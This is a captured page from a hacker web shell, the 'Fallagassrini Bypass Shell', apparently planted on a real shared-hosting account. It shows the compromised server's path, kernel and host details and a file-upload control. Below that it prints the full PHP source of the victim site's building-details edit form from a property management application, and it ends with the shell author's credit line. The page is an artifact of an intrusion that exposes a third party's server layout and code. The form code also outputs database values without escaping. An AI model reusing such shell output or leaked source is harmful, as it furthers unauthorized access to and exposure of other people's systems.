? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/rms/application/views/master/edit_building_details.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
        
        $location=$this->mastermodel->getdatas('location','location_id','asc','location_id');
        $facility=$this->mastermodel->getdatas('facility','facility_id');
        $amenities=$this->mastermodel->getdatas('amenities','amenities_id');
        $agent=$this->mastermodel->getdatas('agent','agent_id');
        $bedroom=$this->mastermodel->getdatas('bedroom','bedroom_id');
        $this->load->view('documentreadyfunctions');
        
?>  

<div class="icons_main">
   <div  class="icons">   
        <img src="<?=base_url()?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('master','viewinmastersearch','search_building_details','view_building_details','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Building Details</h4>
    </div>
</div>
<?php
$attributes=array('id'=>'validateform','class'=>'validate');
echo form_open('master/addinmaster/update_building_details/view_building_details/1',$attributes); 
?>
<div class="grid_6">
    <div class="box">
        <div class="header main">  Building Details </div>
            <div class="content no-padding">
                <div class="section _100">
                    <label>Type of Building</label>
                    <div class="single_page">
                           <?=$viewinfo->building_type?>
                    </div>
                </div> 
                
                <div class="section _100">
                    <label>Building Name </label>
                    <div>
                            <input name="building_name" id="building_name" value="<?=$viewinfo->building_name?>" class="required" type="text">
                    </div>
                </div>                 
                 
                <div class="section _100">
                    <label>Building Code </label>
                    <div class="single_page">
                            <?=$viewinfo->building_code;?>
                    </div>
                </div>   
                <div class="section _100">
                    <label> Location </label>
                     <div style="margin-top: 6px;">
                        <select name="building_location_id" class="required" id="building_location_id">
                            <option value="">Select</option> 
                            <?php
                                foreach ($location as $list) {
                                ?>
                             <option value="<?=$list['location_id']?>" <?php if($viewinfo->building_location_id==$list['location_id']){echo "selected";}?>><?=$list['location_name']?></option>
                            <?php
                                }
                            ?>
                        </select>
                        </div>
                </div>
                    <div class="section _100">
                        <label> Address </label>
                        <div>
                                <textarea name="building_address" id="building_address" class="required"><?=$viewinfo->building_address?></textarea>
                        </div>
                    </div> 
                    
                     <div class="section _100">
                        <label> PO Box</label>
                        <div>
                                <input name="building_po_code" id="building_po_code" value="<?=$viewinfo->building_po_code?>" id="text">
                        </div>
                    </div>     
                    
                   
                    <div class="section _100">
                        <label> Country </label>
                        <div>
                                <input name="building_country" id="building_country" value="<?=$viewinfo->building_country?>"  type="text">
                        </div>
                    </div>
                    <div class="section _100">
                        <label> Agent </label>
                        <div style="margin-top: 6px;">
                            <select name="building_agent_id" >
                                <option value="">Select</option>
                                <?php
                                    foreach ($agent as $list) {
                                    ?>
                                <option value="<?=$list['agent_id']?>" <?php if($viewinfo->building_agent_id==$list['agent_id']){echo "selected";}?>><?=$list['agent_name']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                      </div>
                   </div>
                <div class="section _100">
                    <label>Remarks</label>
                    <div>
                            <textarea name="building_remarks" id="building_remarks" ><?=$viewinfo->building_remarks?></textarea>
                    </div>
                </div>
                    
            </div>
               
    </div> 
</div> 

<div class="grid_6">
        <div class="box">
            <div class="header main">  Amenities </div>    
            <div class="content no-padding">
               <div class="section _100">
                    <div class="section">                                            
                            <label>Select All</label>
                            <div style="margin-top: 7px;">
                                <input name="amenities_all" id="amenities_all" value="" type="checkbox" onchange="aminities_check_all('check')"/>
                            </div>
                    </div>
                    <?php 
                    if(!empty($amenity_details))
                    {
                        foreach($amenity_details as $list)
                        {
                            $amenity_array[]=$list['amenity_type_id'];
                        }
                    }
                    else
                    {
                        $amenity_array[]=""; 
                    }
                    $i=1;
                    foreach($amenities as $row)
                    {
                        
                    ?>
                    <div class="section">                                            
                        <label><?=$row['amenities_type']?></label>
                        <div style="margin-top: 7px;">
                            <input name="amenities_<?=$i;?>" id="amenities_<?=$i;?>" value="<?=$row['amenities_id']?>" <?php if(in_array($row['amenities_id'], $amenity_array)) {echo "checked";}?> type="checkbox" onchange="aminities_check_all('')"/>
                        </div>
                    </div>
                    <?php
                    $i++;
                    }
                    ?>
                </div> 
            </div>
        </div>    
    </div> 

<div class="grid_6">
        <div class="box">
            <div class="header main">  Facilities </div> 
            <div class="content no-padding">
               <div class="section _100">   
                   <div class="section">                                            
                        <label>Select All</label>
                        <div style="margin-top: 7px;">
                            <input name="facility_all" id="facility_all" value="" type="checkbox" onchange="facility_check_all('check')"/>
                        </div>
                   </div>
                    <?php 
                    if(!empty($facility_details))
                    {
                        foreach($facility_details as $list)
                        {
                            $facility_array[]=$list['facility_type_id'];
                        }
                    }
                    else 
                    {
                        $facility_array[]="";
                    }                   
                    $j=1;
                    foreach($facility as $row)
                    {
                        
                    ?>
                   <div class="section">                                            
                        <label>  <?=$row['facility_type']?></label>
                        <div style="margin-top: 7px;">
                        <input name="facility_<?=$j;?>" id="facility_<?=$j;?>" value="<?=$row['facility_id'];?>"  <?php if(in_array($row['facility_id'], $facility_array)) {echo "checked";}?> type="checkbox" onchange="facility_check_all('')"/>
                        </div>
                    </div>
                    <?php
                    $j++;
                    }
                    ?>
                </div>   
            </div>
        </div>    
    </div> 

<input type="hidden" name="amenities_limit" id="amenities_limit" value="<?=$i?>"/>                        
<input type="hidden" name="facility_limit" id="facility_limit" value="<?=$j?>"/>
<div class="grid_6">
    <div class="box">
        <div class="header main">  Supervisor </div>
        <div class="content no-padding">
           <div class="section _100">
                <table class="table">
                    <tr>
                        <th>Employee Supervisor</th>                        
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <?php  
                    $employee1=$this->mastermodel->get_data('employee','1','employee_supervisor','employee_id');
                    $i=1;
                    foreach($supervisor as $sup)
                    { 
                    ?>
                        <tr>
                        <td>
                            <select name="building_supervisor_id"<?=$i++?> id="supervisor_id" class="chzn-done">
                                <?php
                                
                                foreach($employee1 as $emp)
                                {
                                ?>
                                    <option value="<?=$emp['employee_id'];?>" <?php if ($sup['building_supervisor_id'] == $emp['employee_id']) { echo 'selected'; }?>><?=$emp['employee_name'];?></option> 
                                <?php 
                                } 
                                ?>
                            </select>
                        </td>
                        <td><img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                        </tr>
                    <?php 
                        $i++;
                     } 
                     ?>
                        <tr>
                        <td>
                            <select name="building_supervisor_id"<?=$i++?> id="supervisor_id" class="chzn-done">
                                <option value="">Select</option>
                                <?php                                
                                foreach($employee1 as $emp)
                                {
                                ?>
                                    <option value="<?=$emp['employee_id'];?>"><?=$emp['employee_name'];?></option> 
                                <?php 
                                } 
                                ?>
                            </select>
                        </td>
                        <td><img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                        </tr>
                </table>
            </div>
        </div>
    </div>
  
    <div class="box">
        <div class="header main">  Watchman </div>
        <div class="content no-padding">
           <div class="section _100">
                    <table class="table">
                   <tr>
                        <th>Employee Watchman</th>                        
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                        <?php 
                        $employee=$this->mastermodel->get_data('employee','1','employee_watchman','employee_id');
                        $i=1;
                        foreach($watchman as $watch)
                        { 
                        ?>
                            <tr>
                            <td>
                                <select name="building_watchman_id"<?=$i?> id="watchman_id" class="chzn-done">
                                    <?php

                                    foreach($employee as $emp)
                                    {
                                    ?>
                                        <option value="<?=$emp['employee_id'];?>" <?php if ($watch['building_watchman_id'] == $emp['employee_id']) { echo 'selected'; }?>><?=$emp['employee_name'];?></option> 
                                    <?php 
                                    } 
                                    ?>
                                </select>
                            </td>
                            <?php $i++ ?>
                            <td><img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                            </tr>
                        <?php 
                         }                         
                     ?>
                             <tr>
                            <td>
                                <select name="building_watchman_id"<?=$i?> id="watchman_id" class="chzn-done">
                                    <option value="">Select</option>
                                    <?php
                                    foreach($employee as $emp)
                                    {
                                    ?>
                                        <option value="<?=$emp['employee_id'];?>"><?=$emp['employee_name'];?></option> 
                                    <?php 
                                    } 
                                    ?>
                                </select>
                            </td>
                            <?php $i++ ?>
                            <td><img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/></td>
                            </tr>
                </table>
                 </div>
        </div>
    </div>
</div>
<?php
if(!empty($commercial_details))
{
?>
<div  id="commercial_building">
    <?php
    $area=$this->mastermodel->getdatas('area','area_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Commercial Building Details </div>
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Office No</th>
                        <th>Square Meter</th>                                                
                    </tr>
                    <?php                                                                                       
                        foreach($commercial_details as $list)    
                        {
                    ?>
                    <tr>                       
                        <td><?=$list['commercial_floor'];?></td>
                        <td><?=$list['commercial_office'];?></td>
                        <td><?=$list['commercial_square']?> <td>                        
                    </tr>
                    <?php
                        }                                               
                    ?>                       
                </table>  
            </div>
        </div>    
    </div> 
</div> 
<?php
}
 if($viewinfo->building_type_id==1)
{
?>
 <?php
    $area=$this->mastermodel->getdatas('area','area_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Commercial Building Details </div> 
            <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Office No</th>
                        <th>Square Meter</th>                        
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="commercial_floor" id="commercial_floor"/></td>
                        <td><input class="w_90" type="text" name="commercial_office" id="commercial_office"/></td>
                        <td>
                             <select name="commercial_square" id="commercial_square" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($area as $list) {
                                    ?>
                                <option value="<?=$list['area_sq_meter']?>"><?=$list['area_sq_meter']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
            </div>
        </div>    
    </div> 
<?php
}
if(!empty($commercial_villa_details))
{
?>
<div  id="commercial_building">
    <?php
    $area=$this->mastermodel->getdatas('area','area_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Commercial Villa Details </div>  
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa No</th>
                        <th>Square Meter</th>                                            
                    </tr>
                    <?php                                                                                       
                        foreach($commercial_villa_details as $list)    
                        {
                    ?>
                    <tr>                       
                        <td><?=$list['commercial_villa_number'];?></td>
                        <td><?=$list['commercial_villa_square']?></td>
                    </tr>
                    <?php
                        }                                               
                    ?>                        
                    </table>  
              </div>
        </div>    
    </div> 
</div> 
<?php
}
if($viewinfo->building_type_id==2)
{
    $area=$this->mastermodel->getdatas('area','area_id');
?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">Commercial Villa Details </div>  
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>Area (in sq m)</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="commercial_villa_number" id="commercial_villa_number"/></td>
                        <td>
                             <select name="commercial_villa_square" id="commercial_villa_square" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($area as $list) {
                                    ?>
                                <option value="<?=$list['area_sq_meter']?>"><?=$list['area_sq_meter']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>                                        
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>  
                  </div>
        </div>       
    </div> 
<?php
}
if(!empty($residential_villa_details))
{   
?>
<div  id="residential_villa">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Villa Details </div>  
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>No of Bedroom</th>                                                           
                    </tr>
                    <?php 
                     foreach($residential_villa_details as $row)
                     {
                    ?>
                    <tr>                       
                        <td><?=$row['residential_villa_number']?></td>
                        <td><?=$row['residential_bedroom_no']?></td>                                                                 
                    </tr>
                    <?php
                     }
                     ?>             
                </table>       
              </div>
        </div>    
    </div> 
</div> 
<?php
}
if($viewinfo->building_type_id==3)
{
?>
  <?php
    $bedroom_no=$this->mastermodel->getdatas('bedroom','bedroom_id');
    ?>
    <div class="grid_12">
        <div class="box">
            <div class="header main">Residential Villa Details </div>
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Villa Number</th>
                        <th>No of Bedroom</th>                                   
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="residential_villa_number" id="residential_villa_number"/></td>
                        <td>    
                        <select name="residential_bedroom_no" id="residential_bedroom_no" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($bedroom as $list) {
                                    ?>
                                <option value="<?=$list['bedroom_number']?>"><?=$list['bedroom_number']?></option>
                                <?php
                                    }
                                ?>
                        </select>
                        </td>                                          
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table> 
              </div>
        </div>    
    </div> 
<?php
}
if(!empty($apartment_details))
{
?>
<div  id="residential_apartment">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Apartment Details </div> 
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Apartment No</th>
                        <th>No of Bedroom</th>                                                 
                    </tr>
                    <?php
                    foreach ($apartment_details as $row) 
                     {                                            
                    ?>
                    <tr>                       
                        <td><?=$row['apartment_floor']?></td>
                        <td><?=$row['apartment_no']?></td>                                          
                        <td><?=$row['apartment_bedroom_no']?></td>                        
                    </tr>
                    <?php
                     }
                     ?>                                        
                </table>
              </div>
        </div>    
    </div> 
</div> 
<?php
}
if($viewinfo->building_type_id==4)
{
?>

<div  id="residential_apartment">
    <div class="grid_12">
        <div class="box">
            <div class="header main">  Residential Apartment Details </div> 
              <div class="content no-padding">
                <table class="table">
                   <tr>
                        <th>Floor</th>
                        <th>Apartment No</th>
                        <th>No of Bedroom</th>                         
                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                    </tr>
                    <tr>                       
                        <td><input class="w_90" type="text" name="apartment_floor" id="apartment_floor"/></td>
                        <td><input class="w_90" type="text" name="apartment_no" id="apartment_no"/></td>                                          
                        <td>
                            <select  style="margin-top: 10;" name="apartment_bedroom_no" id="apartment_bedroom_no" class="chzn-done" >
                                <option value="">Select</option> 
                                <?php
                                    foreach ($bedroom as $list) {
                                    ?>
                                <option value="<?=$list['bedroom_number']?>"><?=$list['bedroom_number']?></option>
                                <?php
                                    }
                                ?>
                            </select>
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>
                </table>
              </div>
        </div>    
    </div> 
</div> 
<?php
}
?>

<div class="grid_12">
    <div class="box"> 
        <div class="actions"> 
                 <div class="actions-left">
                        <input type="reset">
                        <input type="hidden" name="building_id" value="<?=$viewinfo->building_id;?>"/>
                        <input type="hidden" name="resfunction" value="search_contract"/>
                        
                 </div>           
                 <div class="actions-right">
                            <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Update</button>
                 </div>
       </div>
        <?php echo form_close();?>
</div>
</div>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net